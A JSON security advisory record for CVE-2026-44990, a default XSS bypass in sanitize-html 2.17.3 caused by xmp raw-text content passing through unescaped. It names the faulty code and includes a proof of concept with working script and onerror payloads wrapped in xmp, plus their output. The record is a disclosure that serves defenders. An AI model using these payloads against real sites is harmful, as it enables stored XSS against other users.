{"id":"GHSA-rpr9-rxv7-x643","summary":"Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`","details":"### Summary\nUnder the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: 'discard'` path and can lead to stored XSS in applications that render sanitized output back to users.\n\n### Details\nIn `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as \"drop the entire contents\" tags.\n\nLater, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping:\n\n```js\n} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {\n  result += text;\n}\n```\n\nBecause `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.\n\nThis creates a default sanitizer bypass. For example, a disallowed `\u003cxmp\u003e` wrapper can be used to smuggle `\u003cscript\u003e` or event-handler payloads through sanitization.\n\nThe README also appears to contradict the implementation. In the \"Discarding the entire contents of a disallowed tag\" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`.\n\n### PoC\nTested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`.\n\n1. Install the package:\n\n```bash\nnpm install sanitize-html\n```\n\n2. Run the following script:\n\n```js\nconst sanitizeHtml = require('sanitize-html');\n\nconsole.log(sanitizeHtml('\u003cxmp\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/xmp\u003e'));\nconsole.log(sanitizeHtml('\u003cxmp\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/xmp\u003e'));\nconsole.log(sanitizeHtml('\u003cxmp\u003e\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u003c/xmp\u003e'));\n```\n\n3. Observed output:\n\n```html\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\u003cimg src=x onerror=alert(1)\u003e\n\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\n```\n\n4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example:\n\n```js\nconst dirty = '\u003cxmp\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/xmp\u003e';\nconst clean = sanitizeHtml(dirty);\n```\n\nIf `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.\n\n### Impact\nThis is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.","aliases":["CVE-2026-44990"],"modified":"2026-05-21T17:15:10.344102722Z","published":"2026-05-14T18:26:27Z","database_specific":{"github_reviewed_at":"2026-05-14T18:26:27Z","github_reviewed":true,"severity":"CRITICAL","cwe_ids":["CWE-79"],"nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-rpr9-rxv7-x643"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/issues/5418"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/commit/8d4c882b4ed3a7ce802cd87f89f0c1cb7482b8c2"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"}],"affected":[{"package":{"name":"sanitize-html","ecosystem":"npm","purl":"pkg:npm/sanitize-html"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.17.3"},{"fixed":"2.17.4"}]}],"versions":["2.17.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-rpr9-rxv7-x643/GHSA-rpr9-rxv7-x643.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"}]}